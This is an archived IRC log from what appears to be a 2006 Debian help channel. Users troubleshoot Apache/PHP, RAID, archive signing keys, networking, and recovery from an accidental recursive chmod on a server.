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| 08:56.01 | gnufan | babo: although my problem was phpinfo worked, but any php file calling a database gave me the .phtml download -- yuk |
| 08:56.35 | dn3 | babo: meybe just dpkg-reconfigure apache |
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| 08:57.08 | dn3 | babo with backup all your files before :) tar -cf /root/20060226.etc.tar /etc/apache* |
| 08:57.33 | amee2k_ | what does "E: package <x> has no installation candidate" from apt-get mean? |
| 08:58.11 | liable | means package doesnt exist |
| 08:58.45 | babo | dn3: I've tried the reconfigure but no luck I'm afraid |
| 08:59.16 | localaccount | where can i find mkraid? |
| 08:59.32 | gnufan | babo: I did something list dn3 suggested -- 'apt-get remove --purge apache2 libapache2-mod_php4 ... and other stuff', simple reinstall, and then still had to do the reconfigure. You do have the relevant libapache*-mod-php4 ? |
| 09:00.02 | babo | dn3: I'm using php5 ... and everything seems to work fine apart from that one folder |
| 09:00.46 | liable | localaccount: mdadm or raid-utils package, i forget, apt-file search mkraid |
| 09:00.53 | leri | babo, php scripts in other directories work? but not some particular directory? |
| 09:01.13 | localaccount | liable, i did that.. no results returned |
| 09:01.16 | babo | leri: not really ... but phpmyadmin works ... nothing else seems to though |
| 09:01.26 | localaccount | when i boot.. it uses /etc/raidtab right? |
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| 09:01.58 | mrverbose | how can i prevent some modules from being hotplugged if hotplug is not installed but only udev? |
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| 09:02.37 | babo | I have another question for you guys ... what do ye think of ubuntu ? |
| 09:02.52 | liable | udev still uses hotplug files iirc read the changelog for udev, i am pretty sure it mentions it. |
| 09:03.16 | mrverbose | liable: so a file /etc/hotplug/blacklist will help? |
| 09:03.29 | babo | Also ... what's yer opinion of the debian way of administering and installing apache .... eg. sites-enabled a2enmod that whole thing |
| 09:03.36 | liable | mrverbose: i believe so, as i said, read the changelog |
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| 09:04.12 | amee2k_ | dpkg has a dead link for "decss" |
| 09:04.32 | mrverbose | amee2k_: thats no problem at all |
| 09:05.18 | liable | amee2k_: know a good link to replace it? |
| 09:05.18 | mrverbose | deb ftp://ftp.nerim.net/debian-marillat/ etch main <-- use that source for stuff like videoplayer and related things (replace etch with sarge/sid/whatever you are running) |
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| 09:05.52 | mrverbose | add that line to /etc/apt/sources.list |
| 09:06.08 | amee2k_ | mrverbose:: well, when i click it i get 404 not found. that seems pretty much of a problem to me when looking for information |
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| 09:06.34 | liable | maybe the site is just down.. |
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| 09:06.39 | amee2k_ | liable:: no. (otherwise i wouldn't have asked dpkg) |
| 09:07.45 | mrverbose | liable: /etc/modprobe.d/blacklist is now the right file |
| 09:07.59 | liable | mrverbose: cool. |
| 09:09.02 | mrverbose | amee2k_: what are you looking for? |
| 09:09.10 | liable | ~hi |
| 09:09.12 | apt | hello, liable |
| 09:09.20 | liable | ~find mkraid |
| 09:09.26 | amee2k_ | mrverbose:: something to decode dvd |
| 09:09.34 | mrverbose | i said adding that line to apt-sources.list will enable you to apt-get it |
| 09:10.28 | liable | erm, lets see if i remember, /usr/share/doc/libdvdcss/libdvdcss.sh or something will get you the shit. |
| 09:10.58 | mrverbose | liable: there is a package for it |
| 09:11.14 | liable | grrr, i wish i had a working boxen.. |
| 09:11.42 | mrverbose | liable: i have 3 :) |
| 09:11.45 | localaccount | is a raid array out of commission while it is "resyncing"? |
| 09:11.53 | liable | mrverbose: gimme a shell. :) |
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| 09:12.42 | liable | mrverbose: i am in the process of finding a house and my laptop modem wont work with motel pabx systems, except with windows..:( |
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| 09:15.15 | chopp | could anyone tell me how to get a console mode on startup? |
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| 09:15.36 | nkuttler | chopp: always or once? |
| 09:15.47 | chopp | allways |
| 09:15.55 | nkuttler | chopp: /msg dpkg nodm |
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| 09:16.48 | chopp | nkuttler: thank you |
| 09:16.52 | londonboi2k3 | hi guys, have made a new install of debian unstable, but I am unable to install gnome, is it broke? |
| 09:17.05 | k-man | id there a different key for each release of debian? |
| 09:17.13 | k-man | do i have to install a special one for testing? |
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| 09:19.21 | liable | k-man: it comes with the latest version of apt |
| 09:19.36 | k-man | oh |
| 09:19.50 | liable | !2006 key |
| 09:19.51 | dpkg | well, 2006 key is apt 0.6.43.1 ( now in unstable and testing) includes the 2006 package key. You can also install the key as follow, explicitly trusting this message with no verification: gpg --keyserver subkeys.pgp.net --recv-keys 2D230C5F ; gpg --export 084750FC01A6D388A643D869010908312D230C5F | sudo apt-key add - |
| 09:19.52 | hanasaki | i just created a raid1 with mdadm using --detaill it says "resyncing" what is this? |
| 09:20.08 | londonboi2k3 | hi guys, have made a new install of debian unstable, but I am unable to install gnome, is it broke? |
| 09:20.36 | liable | probably |
| 09:20.46 | liable | welcome to *unstable* |
| 09:20.55 | k-man | liable, so just installing the latest apt might get rid of all those warnings |
| 09:20.57 | k-man | ? |
| 09:20.59 | londonboi2k3 | ahh well its broke in testing too |
| 09:21.04 | liable | k-man: yes |
| 09:21.12 | k-man | thanks |
| 09:21.16 | SimonRaven | "installing unstable" ... |
| 09:21.16 | k-man | i will give that a go |
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| 09:21.41 | Phated | .o/ SimonRaven |
| 09:21.51 | |alex| | irc://irc.freenode.net/openSUSE |
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| 09:22.49 | speyer | does horde 3 provide an apache module configuration file? ? |
| 09:23.18 | SimonRaven | speyer: what? |
| 09:23.45 | speyer | does horde 3 provide an apache module configuration file? ? |
| 09:23.53 | SimonRaven | do you know what horde is? |
| 09:23.54 | speyer | an apache module configuration file |
| 09:23.59 | speyer | yes i do |
| 09:24.05 | SimonRaven | repeating the question isn't clarifying it |
| 09:24.15 | speyer | i just apt-get install horde3 and is installed in /usr/share/horde3/ how will i make horde3 to appear www.localhost.com/horde3 ? or www.horde3.localhost.com |
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| 09:24.58 | SimonRaven | you configure it. RTFM in /usr/share/doc/horde3 |
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| 09:26.40 | speyer | some piece of text file that would alter apache's configuration so that horde would be enabled. |
| 09:26.58 | speyer | the text file would be something that an include from the main file would cause to become active. |
| 09:27.06 | Gnea | speyer: you were just told what to read. |
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| 09:27.30 | speyer | couldnt you just tell me where that is located ? |
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| 09:27.37 | Gnea | no. |
| 09:27.49 | SimonRaven | i just did |
| 09:27.51 | speyer | i know horde well .. but i never had it in debian |
| 09:28.02 | Gnea | this isn't windows, you gotta RTFM now and then |
| 09:28.22 | Gnea | speyer: is there a horde3 directory in /usr/share/doc/ ? |
| 09:28.24 | speyer | SimonRaven you didnt told me where the module config is |
| 09:28.36 | speyer | Gnea whats windows got to do with this ? |
| 09:28.50 | Gnea | speyer: you were told how to find out. now do it and quit trying to demand something that you will never get please. |
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| 09:29.16 | Daemon- | can someone tell me how to stop GRUB trying to load floppy0 controllers? |
| 09:29.54 | Gnea | Daemon-: edit the menu.lst file |
| 09:30.49 | Daemon- | Gnea - what exactly should i be editing though please? |
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| 09:31.01 | Gnea | Daemon-: you've already answered that question |
| 09:31.22 | speyer | lol |
| 09:31.29 | Gnea | Daemon-: if you pulled the file up in an editor already, you'd see how to comment lines out and which ones have floppy information on them |
| 09:31.49 | Daemon- | ok thanks :) |
| 09:31.57 | Gnea | :) |
| 09:32.43 | Gnea | speyer: what's so funny? did you figure it out? |
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| 09:33.15 | dorel | /quit |
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| 09:33.46 | k-man | i still get this error when i do an apt-get update |
| 09:33.48 | k-man | W: GPG error: http://ftp.wa.au.debian.org testing Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 010908312D230C5F |
| 09:33.55 | k-man | any ideas how to get rid if it? |
| 09:34.17 | noiesmo | hey any mambo users here need a little help |
| 09:34.19 | Gnea | k-man: /topic |
| 09:34.22 | Daemon- | Gnea - there's no mention to the floppy drivers in that file |
| 09:34.22 | itguy | k-man: i will do man apt-get |
| 09:34.38 | Gnea | Daemon-: then how does grub know about them? |
| 09:34.48 | Daemon- | Gnea - i dont know |
| 09:35.09 | sparr | Are there any functional replacements for the rc.d system that implement parallel processes? |
| 09:35.22 | Gnea | Daemon-: well /boot/grub/menu.lst is *the* file that tells it what to do... |
| 09:35.51 | Gnea | sparr: the rc.d system? |
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| 09:36.33 | Daemon- | Gnea - Im getting the error's after it's booted up the system though |
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| 09:37.03 | Gnea | Daemon-: that's no fault of grub's then |
| 09:37.21 | Gnea | Daemon-: what's the error message, exactly? |
| 09:37.37 | Gnea | sparr: oh, BSD |
| 09:37.38 | Daemon- | 2 secs while i type it out |
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| 09:38.39 | Daemon- | inserting floppy driver for 2.6.8-2-386...... |
| 09:38.52 | Daemon- | floppy0: no floppy controllers found...... |
| 09:39.05 | Gnea | is there a floppy drive in the system? |
| 09:39.15 | Daemon- | no |
| 09:39.19 | Daemon- | it's a laptop |
| 09:39.20 | Gnea | then there's no problem |
| 09:39.31 | Gnea | i have a lapto with a floppy drive |
| 09:39.34 | Gnea | laptop too |
| 09:39.35 | Gnea | :) |
| 09:39.39 | sparr | Gnea: heh, for debian linux in particular? |
| 09:39.50 | Daemon- | i know, but how do i stop it looking for them though cos it slows down my system |
| 09:39.59 | Gnea | sparr: debian uses system V |
| 09:40.00 | Daemon- | there's more error's by the way |
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| 09:40.17 | sparr | Gnea: and? |
| 09:40.31 | Gnea | sparr: it doesn't use BSD |
| 09:40.41 | Daemon- | hdc: packet command error: status=0x51 { DriveReady SeekComplete Error } |
| 09:40.41 | sparr | why are we talking about bsd? |
| 09:40.50 | Daemon- | hdc: packet command error: status=0x50 |
| 09:40.56 | Daemon- | cdrom: open failed |
| 09:41.03 | Daemon- | thats all the error's |
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| 09:43.50 | Gnea | sparr: because you asked what else, other than rc.d, which is sysvinit-based, which is what debian uses, would debian use, which is nothing. |
| 09:44.09 | Gnea | Daemon-: what's /dev/hdc? |
| 09:45.05 | sparr | Gnea: so thats a 'no'? are there any projects to replace it? |
| 09:45.14 | Gnea | sparr: why replace it? |
| 09:45.21 | sparr | because its slow? |
| 09:45.27 | Gnea | what's faster? |
| 09:45.31 | Gnea | what makes it slow? |
| 09:45.31 | sparr | parallelizing things at the same priority would be faster |
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| 09:45.38 | Gnea | prove it. |
| 09:45.40 | Daemon- | Gnea - i dont know, how do i find out? |
| 09:46.31 | sparr | prove it? ok... exim takes 30 seconds to start for me, for unknown reasons. i have S20exim, and S20 makes up HALF of my rc5.d/. If all the other S20 were started in parallel with exim, it would cut up to 30 seconds off my boot time. |
| 09:46.37 | Gnea | Daemon-: cat /proc/ide/hdc/model |
| 09:47.21 | Gnea | sparr: unknown reasons? if you knew the reasons, then maybe you wouldn't blame a system that you don't even understand |
| 09:47.22 | Zugschlus | sparr: read exims README |
| 09:47.31 | sparr | obviously thats an extreme example, but it came to mind first |
| 09:47.35 | Daemon- | Gnea - MATSHITADVD-RAM UJ-831S |
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| 09:48.09 | laurens_ | hi |
| 09:48.24 | laurens_ | I was at FOSDEM yesterday but the debian people didnt have any debian stickers :( |
| 09:48.44 | dondelelcaro | sparr: you can use file-rc if you don't like sys-rc... |
| 09:48.59 | Gnea | laurens_: we didn't have any at LWE either. but we had cds. |
| 09:48.59 | sparr | the same applies to... dhcpcd (or dhclient), it takes 3-4 seconds. mysql takes about 2 seconds to start. kdm takes a few seconds. |
| 09:49.03 | speyer | Gnea there is no :`docs/INSTALL`_: Installation instructions |
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| 09:49.27 | dondelelcaro | sparr: and as far as doing the parallel init forking, there is some work being done on initng, but I'm not sure how far along it is. |
| 09:49.29 | speyer | Gnea no install docs in /usr/share/doc/horde3 |
| 09:49.32 | laurens_ | yeah but |
| 09:49.36 | laurens_ | I know how to install debian |
| 09:49.40 | laurens_ | that isnt the problem |
| 09:49.45 | dondelelcaro | sparr: basically it requires all of the init scripts to declare their dependencies which isn't something that is done currently. |
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| 09:50.11 | laurens_ | But I'd loooove to have a debian sticker on my laptop |
| 09:50.14 | Gnea | !initng |
| 09:50.14 | dpkg | methinks initng is http://alioth.debian.org/projects/pkg-initng/, or http://initng.thinktux.net/index.php/Main_Page, or now in experimental |
| 09:50.15 | laurens_ | right now it has a ffox sticker |
| 09:50.15 | sparr | dondelelcaro: i know, but without specific dependencies its still safe to parallelize things with the same priority (whatever you call the SNN number) |
| 09:50.27 | Gnea | laurens_: yeah, that'd be cool |
| 09:50.55 | dondelelcaro | sparr: that requires totally rewriting the way that runparts works; initng will solve that problem too, so no one has bothered to do that. |
| 09:51.05 | dondelelcaro | sparr: feel free to rewrite your rcS if you think that's important. |
| 09:51.40 | dondelelcaro | s/rcS/rc/ |
| 09:52.39 | dondelelcaro | sparr: you can try setting CONCURENCY=shell, but I don't know if that works yet. |
| 09:53.59 | itguy | anyone when someone send me a file in irssi How can i accept it please? |
| 09:54.44 | Gnea | itguy: /help dcc |
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| 09:56.16 | laurens_ | itguy: /dcc get afaik |
| 09:56.44 | sparr | dondelelcaro: google says it works... thanks, i didnt know what to search for before. |
| 10:00.57 | itguy | laurens_: thanks |
| 10:02.44 | itguy | !info tgz |
| 10:03.39 | itguy | how can i use a file if it's in tgz format |
| 10:03.52 | Zugschlus | itguy: it's short for .tar.gz |
| 10:04.08 | Zugschlus | often used by people who do not yet grasp that multiple extensions are possible |
| 10:04.11 | Gnea | itguy: it's like a zipfile, in a way - it's a compressed .tar file |
| 10:04.33 | itguy | geli: how can i uncompress it please |
| 10:04.37 | Gnea | tar xzvf file.tgz will uncompress it |
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| 10:06.05 | harleyg | hi |
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| 10:06.23 | harleyg | i just typed a command wrong, and seemed to of chmod'd /* 755 :| |
| 10:06.33 | Terat0gen | oh dear |
| 10:06.36 | Quibus | Hi |
| 10:06.46 | harleyg | now people cant even login via ssh |
| 10:06.49 | harleyg | any ideas |
| 10:06.58 | dondelelcaro | harleyg: you mean a chmod -R? |
| 10:07.11 | Quibus | my stock kernel 2.6.15 doesn't boot anymore since yesterday's dist-upgrade.... Any known problems there? THe kernel panics because it suddenly can't find a valid ramdisk image at 6,3 |
| 10:07.24 | Quibus | my LinuxOLD (2.6.12) still boots |
| 10:07.58 | harleyg | chmod -R? |
| 10:08.19 | dondelelcaro | harleyg: if you just did a chmod /* 755; not much changed. |
| 10:08.32 | harleyg | i mean /*/* |
| 10:08.41 | harleyg | i was trying todo */* |
| 10:08.47 | Gnea | harleyg: what was the exact command that you typed? |
| 10:08.58 | harleyg | chmodd 755 /* |
| 10:09.04 | Gnea | then you're fine |
| 10:09.04 | harleyg | chmod 755 /*/* |
| 10:09.08 | harleyg | both of them |
| 10:09.16 | Gnea | ok |
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| 10:09.38 | dondelelcaro | the second one means that you're going to have to reinstall everything that has stuff in /lib, /bin, and /sbin, and fix all of your user's home directories. |
| 10:09.51 | dondelelcaro | also, you're going to need to fix the permissions on /etc/shadow. |
| 10:09.54 | zege | hi |
| 10:10.00 | harleyg | and the rest? |
| 10:10.01 | Gnea | yeah, it's pretty well damaged |
| 10:10.04 | harleyg | dude this os a server |
| 10:10.07 | harleyg | is* |
| 10:10.12 | laurens_ | hi |
| 10:10.16 | harleyg | i need it ip asap |
| 10:10.17 | dondelelcaro | harleyg: well, that's why you don't run random commands as root. |
| 10:10.17 | laurens_ | any gimp gurus here? |
| 10:10.29 | Gnea | laurens_: i try |
| 10:10.29 | harleyg | yeh i know im a stupid dickhead |
| 10:10.30 | harleyg | yesyes |
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| 10:10.39 | ludwig | Hallo! |
| 10:10.46 | dondelelcaro | harleyg: so reinstall the packages that have stuff in /bin, /sbin, and /lib. That's fairly simple. |
| 10:10.53 | laurens_ | I have an image with about 10 colors, white and some shades of red. I'd like to reduce it to 2 colors: reds to the most prevalent red and whites, to, well, whites |
| 10:10.58 | harleyg | cant i chmod em back |
| 10:11.05 | laurens_ | it's the debian logo actually |
| 10:11.05 | dondelelcaro | harleyg: that'll take forever. |
| 10:11.12 | laurens_ | I want it on a pretty black background |
| 10:11.19 | ludwig | I have some trouble with Samba running as a PDC. 23 clients, all running Win2k have to join the domain ... |
| 10:11.30 | laurens_ | filling it with black leaves ugly "white" edges which are actually very light reds |
| 10:11.34 | ludwig | And for 21 that worked fine, I have trouble with two of them |
| 10:12.24 | Gnea | harleyg: you would spend less time backing the server up with a knoppix cd and reinstalling |
| 10:12.29 | ludwig | When joining the domain I get an error "While trying to connect to the domain 'xxxx' the following error has occured: Access error: username unknown or invalid password" |
| 10:12.47 | dondelelcaro | harleyg: dpkg -S /bin /lib /sbin|awk -F: '{print $1}'|sed 's/,//g'|xargs apt-get --reinstall install; then fix your user's home directories and /etc/shadow. |
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| 10:13.15 | dondelelcaro | harleyg: you're also going to need to fix /tmp and anything else in /etc/ that your users shouldn't be able to read. |
| 10:13.28 | Gnea | and /dev |
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| 10:13.42 | harleyg | gotcha |
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| 10:14.20 | harleyg | Do you want to continue [Y/n]? Abort. |
| 10:14.23 | harleyg | just quits on me |
| 10:14.34 | Gnea | harleyg: are you running udevd? |
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| 10:14.42 | harleyg | udevd? |
| 10:14.56 | ludwig | anyone has a hint? |
| 10:15.13 | Gnea | harleyg: it auto-populates /dev |
| 10:15.25 | harleyg | no idea.. |
| 10:15.26 | Gnea | harleyg: what's the kernel version? |
| 10:15.28 | harleyg | think so |
| 10:15.36 | harleyg | 2.6.2 |
| 10:15.38 | Gnea | can you: ps axf ? |
| 10:15.41 | harleyg | 2.6.8-2* |
| 10:15.56 | harleyg | yes i can ps axf |
| 10:16.05 | Gnea | ps axf | grep udev |
| 10:16.20 | dondelelcaro | harleyg: if you're not running udev, you'll need to rerun MAKEDEV as well to get the permissions right on your devices. |
| 10:16.37 | harleyg | <PROTECTED> |
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| 10:20.03 | harleyg | so now what? |
| 10:20.06 | harleyg | udev? |
| 10:20.09 | harleyg | chmod what? |
| 10:20.33 | dondelelcaro | harleyg: have you reinstalled that list of packages yet? |
| 10:20.41 | harleyg | 10:17 < harleyg> Do you want to continue [Y/n]? Abort. _root_ |
| 10:20.44 | harleyg | 10:17 < harleyg> just quits on me |
| 10:21.24 | trueno | is there a way to upgrade libc6 without upgrading/forcing apt to upgrade sysvinit? |
| 10:21.27 | dondelelcaro | harleyg: use dpkg -S /bin /lib /sbin|awk -F: '{print $1}'|sed 's/\s*,\s*/\n/g'|xargs apt-get --reinstall install; instead. |
| 10:21.29 | trueno | it is scary... |
| 10:21.33 | dondelelcaro | trueno: no. |
| 10:21.55 | harleyg | Do you want to continue [Y/n]? Abort. |
| 10:21.56 | dondelelcaro | trueno: the init is just reloaded; it's no big deal. |
| 10:22.09 | dondelelcaro | harleyg: use -y then. |
| 10:22.17 | dondelelcaro | harleyg: and man apt-get while you're at it. |
| 10:22.22 | harleyg | :D |
| 10:22.51 | trueno | dondelelcaro: ok, then apt-get upgrade libc6 + force... (it's just due to a problem with the locales package, the dependencies are wrong) |
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| 10:24.04 | harleyg | E: Couldn't configure pre-depend coreutils for debianutils, probably a dependency cycle. |
| 10:24.04 | dondelelcaro | trueno: what is the exact error message that you're getting? |
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| 10:24.25 | trueno | dondelelcaro: /usr/share/i18n/locales/iso14651_t1:775: LC_COLLATE: syntax error |
| 10:24.40 | trueno | dondelelcaro: many of those, and an infinite loop |
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| 10:25.46 | quik_ | hey folks |
| 10:25.53 | dondelelcaro | trueno: oh, that means that your locale package is broken for some reason. reinstall it. |
| 10:26.19 | harleyg | any ideas dondelelc |
| 10:26.28 | quik_ | I have a eth0 entry, that doesn't appear to be able to ping the router here, it looks to all be correct and a restart doesn't appear to fix antyhing. anyone have tips?> |
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| 10:28.23 | dondelelcaro | harleyg: there should be an error before that |
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| 10:28.47 | dondelelcaro | harleyg: alternatively, exclude coreutils from the reinstall, and reinstall it afterwards. |
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| 10:28.56 | harleyg | Reinstallation of slang1a-utf8 is not possible, it cannot be downloaded. |
| 10:28.56 | harleyg | Reinstallation of slang1 is not possible, it cannot be downloaded. |
| 10:29.01 | harleyg | maybe? |
| 10:29.42 | Tentative | harleyg: do you use the right url as source ? Or have you changed the original one ? |
| 10:29.52 | harleyg | think icve changed it |
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| 10:30.28 | trueno | dondelelcaro: yes, I've alredy tried it... the thing is that it says it needs glibc-2.3.5-3, and in fact it needs glibc-2.3-6*. I think I should upgrade to a newer libc6 then |
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| 10:30.57 | Tentative | harleyg: you should use the one from the debian project. This is the most updated one. |
| 10:32.00 | harleyg | and that is? |
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| 10:33.05 | trueno | dondelelcaro: would you suggest something else? |
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| 10:34.41 | tbenita | Hi, I was setting up a new machine, but the power shut down while aptitude was only unpacking packages |
| 10:34.52 | Tentative | harleyg: http://security.debian.org |
| 10:34.58 | wols | then check why and restart aptitude |
| 10:35.05 | \amethyst | tbenita: power supply problem, maybe |
| 10:35.06 | \amethyst | ? |
| 10:35.07 | wols | could it be your machine overheated? |
| 10:35.07 | Tentative | harleyg: sorry, I were updating my system too lol |
| 10:35.15 | tbenita | \amethyst, yes |
| 10:35.34 | tbenita | how can I continue the install without downloading again the Go os packages ? |
| 10:36.01 | tbenita | when I go manually in aptitude, packages are marked with 'v' |
| 10:36.23 | tbenita | it looks like they are marked for removal .. |
| 10:36.58 | tbenita | and if I try 'apt-get install' without arg it says that some packages are missing (I guess thay are not unpacked yet) |
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| 10:37.41 | tbenita | If packages get removed, does it mean that the downloaded deb files will also be removed ? |
| 10:37.50 | tbenita | and will they be downloaded again ? |
| 10:38.13 | tbenita | so should I restart the install, or should I do that manually ? |
| 10:38.26 | tbenita | I mean by apt-get packages myself ? |
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| 10:39.15 | nkuttler | tbenita: try apt-get -f install |
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| 10:39.49 | Ts0p | how can i remove apt-get install file name if i don't want that program anymore |
| 10:40.10 | wols | Ts0p: man apt-get. hint: remove |
| 10:40.12 | nkuttler | Ts0p: what do you want to do? |
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| 10:40.31 | Quibus | People, so, no known kernel panic problems on etch with 2.6.15? |
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| 10:40.40 | wols | tbenita: no. downloaded package will only be removed if you run apt-get clean |
| 10:40.40 | deadcat | no |
| 10:40.40 | tbenita | nkuttler, I try that thanks |
| 10:40.41 | trueno | Ts0p: dpkg --remove/purge will do as well |
| 10:41.04 | Nabiki | Strange question of the day: Does anyone know of a channel that discusses licenses? :P |
| 10:41.05 | Ts0p | i did apt-get install filename ....now i want to completly remove it |
| 10:41.06 | tbenita | nkuttler, no there are still dependances issues |
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| 10:41.42 | tbenita | nkuttler, dependances packages are not yet installed , etc. |
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| 10:42.34 | maatttt | could someone recommend an easy to configure pop3 and imap4 server ? |
| 10:42.34 | tbenita | wols, ok thanks , so I'm going to continue the uninstall proposed by aptitude and install again |
| 10:42.37 | Ts0p | nkuttler i want to uninstall a previouse apt-get install |
| 10:43.18 | tbenita | Ts0p, apt-get remove --purge packagename |
| 10:44.01 | trueno | Where can I find an apt.conf file? I have no such file in /etc/apt |
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| 10:45.08 | wols | trueno: it's not necessary. so you don't really neeed it |
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| 10:45.26 | wols | also, it's probably in /etc/apt/apt.conf.d/ |
| 10:46.27 | quik_ | my network card will not ping my router, anyone got a minute to troubleshoot it with me? |
| 10:46.52 | Diazepam | quik - shoot |
| 10:46.53 | tbenita | quik_, what wetwork card is it ? |
| 10:46.59 | Quibus | maybe for some reason my kernel image got damaged... :( |
| 10:47.01 | tbenita | Diazepam, lol |
| 10:47.10 | quik_ | just an eth |
| 10:47.11 | Quibus | Does someone here run stock kernel 2.6.15-1-k7? |
| 10:47.19 | quik_ | It has worked previously |
| 10:47.27 | Quibus | If so, please sha1sum initrd.img and vmlinuz |
| 10:47.53 | drasko | hi all.I installe xfce, but now when I log into Gnome, I find that toolbar is missing, just the desktop is shown... How to get back this missing toolbar?\ |
| 10:47.58 | quik_ | anyway, my /etc/network/interfaces is - the most simple of setup, just static ip set |
| 10:48.06 | quik_ | gateway and subnet |
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| 10:49.13 | trueno | wols: thanks, I have already learnt how to do it via the -o switch :-) |
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| 10:49.20 | darkstego | maatttt: try dovecot |
| 10:49.21 | tbenita | quik_, try to do that manually |
| 10:49.23 | quik_ | I don't know what more I can give you.. |
| 10:49.30 | quik_ | do which manually? |
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| 10:49.48 | tbenita | quik_, configure your network interface |
| 10:50.19 | gndAfk | any idea when will thunderbird 1.5 be in unstable? |
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| 10:50.20 | wols | quik_: what does ifconfig sys? |
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| 10:50.44 | drasko | Anyone? |
| 10:51.13 | quik_ | I can't dump the whole thing cause I'm online |
| 10:51.13 | wols | s/sys/say |
| 10:51.18 | quik_ | but... |
| 10:51.24 | quik_ | cause its not online* |
| 10:51.32 | hyperstream | SAMBA: how can i make it so from a windows machine it doesnt require a login dialog etc >> here is my smb.conf file, http://pastebin.com/573028 |
| 10:52.01 | wols | quik_: why not use dhcp? I'm sure the router can do it |
| 10:52.29 | quik_ | link encap:Ethernet HWaddr ... inet addr:10.1.1.3 Bcast:10.255.255.255 Mask: 255.0.0.0 |
| 10:52.50 | Ts0p | how can i run and use a file if it has c format e.g itguy.c |
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| 10:53.04 | Ringo999 | hi there, im trying to install debain ppc. when finalizing my partitionsetup i get teh message that "root" / couldnt be mounted with ext3 filesystem. any idea? help very much welcome... |
| 10:53.28 | tbenita | quik_, could you paste the ifconfig results on paste.plone.org ? |
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| 10:53.51 | quik_ | I don't have any network access on the machine |
| 10:54.21 | tbenita | quik_, how many interfaces do you have on this machine ? |
| 10:54.56 | quik_ | two, I wanted to just get web access on the eth0, than work on getting wlan0 going |
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| 10:55.21 | tarzeau | how can i lock the screen in windows xp? |
| 10:55.33 | tarzeau | Ringo999: #debianppc ? |
| 10:55.35 | tbenita | quik_, is wlan0 on the same network as eth0 ? are both interfaces up ? |
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| 10:55.41 | Ringo999 | tarzeau, tried that, no help! |
| 10:55.46 | quik_ | wlan0 is down |
| 10:55.49 | sparr | Gnea: [how] does initng convert the old init.d stuff? |
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| 10:55.56 | quik_ | I removed it from /etc/network/interfaces |
| 10:56.19 | tbenita | what does route -n say (gateway) |
| 10:56.28 | amee2k | I modified .bashrc to let me decide at login wether i want to startx or not but when run from .basrc startx tells me I'm not allowed to start X. when i run start it from the terminal it works. why doesn't it from .bashrc? |
| 10:56.47 | Keefe | tarzeau, this list is not for discussing inferior proprietry software. |
| 10:56.47 | Ts0p | quik_ try ifdown then ifup |
| 10:57.48 | streuner | tarzeau: windows Key and L |
| 10:57.59 | quik_ | route -n : 10.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 eth0 |
| 10:58.18 | streuner | tarzeau: ctrl+alt+del and click lock screen? |
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| 10:58.24 | quik_ | 0.0.0.0 10.1.1.1 0.0.0.0 UG 0 0 0 eth0 |
| 10:58.54 | tbenita | quik_, ping 10.1.1.1 ? |
| 10:58.56 | streuner | tarzeau: ask this crap next time somewhere else... |
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| 10:59.16 | quik_ | destination host unreachable |
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| 10:59.35 | tbenita | quik_, are you sure that it's your gateway address ? |
| 11:00.05 | tbenita | quik_, what is the netmask in ifconfig ? |
| 11:00.26 | quik_ | gateway should be the router right? |
| 11:00.29 | tarzeau | streuner: no ctrl alt del doesn't show that stuff |
| 11:00.35 | tarzeau | streuner: but thanks winkey+l is it! |
| 11:00.39 | jetscreamer | heh |
| 11:00.43 | tbenita | quik_, yes |
| 11:00.58 | quik_ | yes, the powerbook I'm on uses that gateway |
| 11:01.12 | quik_ | and the netmask is 255.0.0.0 |
| 11:01.54 | tbenita | quik_, did you upgrade your kernel or something related to boot process ? |
| 11:02.02 | quik_ | no... |
| 11:03.06 | tbenita | quik_, is pump or dhcpcd or dhclient running (ps -aux) |
| 11:03.18 | quik_ | no, its static |
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| 11:04.32 | tbenita | quik_, try ifdown eth0 |
| 11:04.41 | quik_ | done |
| 11:04.57 | Ringo999 | i wished the debian installer was more specific on the error message. how would i manually execute what the installer partition programm executes? |
| 11:05.09 | tbenita | quik_, ifconfig misses eth0 ? |
| 11:05.17 | quik_ | misses...? |
| 11:05.28 | tbenita | quik_, eth0 is not present anymore ? |
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| 11:05.39 | quik_ | how do I check that |
| 11:05.40 | quik_ | ? |
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| 11:06.03 | trueno | hi! |
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| 11:06.56 | trueno | how can I know which locales I need? (i mean UTF, euro@ and/or ISO-8859-1) |
| 11:07.14 | tbenita | quik_, ifconfig should show only lo |
| 11:07.27 | tbenita | quik_, if not do 'ifconfig eth0 down' |
| 11:07.41 | quik_ | it shows, eth1, lo... |
| 11:07.57 | quik_ | eth1 isn't in the /etc/network/interfaces |
| 11:08.12 | tbenita | quik_, then 'ifconfig eth0 10.0.0.25 netmask 255.0.0.0' |
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| 11:08.20 | tbenita | quik_, 'ofconfig eth1 down' |
| 11:08.27 | tbenita | quik_, 'ifconfig eth1 down' |
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| 11:08.43 | quik_ | lo is the only entry now. |
| 11:08.55 | quik_ | then add my ifconfig eth0? |
| 11:09.01 | tbenita | quik_, yes |
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| 11:09.17 | tbenita | quik_, then 'route add default gw 10.1.1.1' |
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| 11:09.34 | tbenita | quik_, now what says ping 10.1.1.1 ? |
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| 11:10.25 | ruben | hi there, I'd like to know how I can change the language of the system tools (ls,cp...) and also apt-* back to english, it's currently showing all notifications in german |
| 11:10.52 | quik_ | .... |
| 11:10.59 | quik_ | no ping |
| 11:11.00 | tbenita | ruben, dpkg-reconfigure locale |
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| 11:11.15 | ruben | thx, will try tbenita. |
| 11:11.30 | tbenita | quik_, ... |
| 11:11.38 | ruben | :) |
| 11:11.57 | lord_rob | Hi ! In dpkg-reconfigure xserver-xorg, I have no more "nvidia" option, only nv. How can I fix the problem ? |
| 11:12.15 | tbenita | lord_rob, re-install nvidia package |
| 11:13.18 | lord_rob | hmmm. You mean nvidia-glx-legacy ? |
| 11:14.15 | ruben | tbenita: it's complaining, something along the lines of 'package locale is not installed' |
| 11:14.20 | tbenita | quik_, can you ping your machine from the gateway or from the other machine ? |
| 11:14.54 | quik_ | this machine I'm on now can't ping it either. |
| 11:15.02 | tbenita | ruben, sorry locales , not locale |
| 11:15.14 | ruben | ah ... sry |
| 11:15.25 | ruben | should have known ... silly me |
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| 11:17.32 | iNAP | can someone help me edit my interfaces so that it will work with my dhcp? |
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| 11:17.53 | deadcat | iNAP: just ask the question |
| 11:18.57 | tbenita | iNAP, auto eth0 |
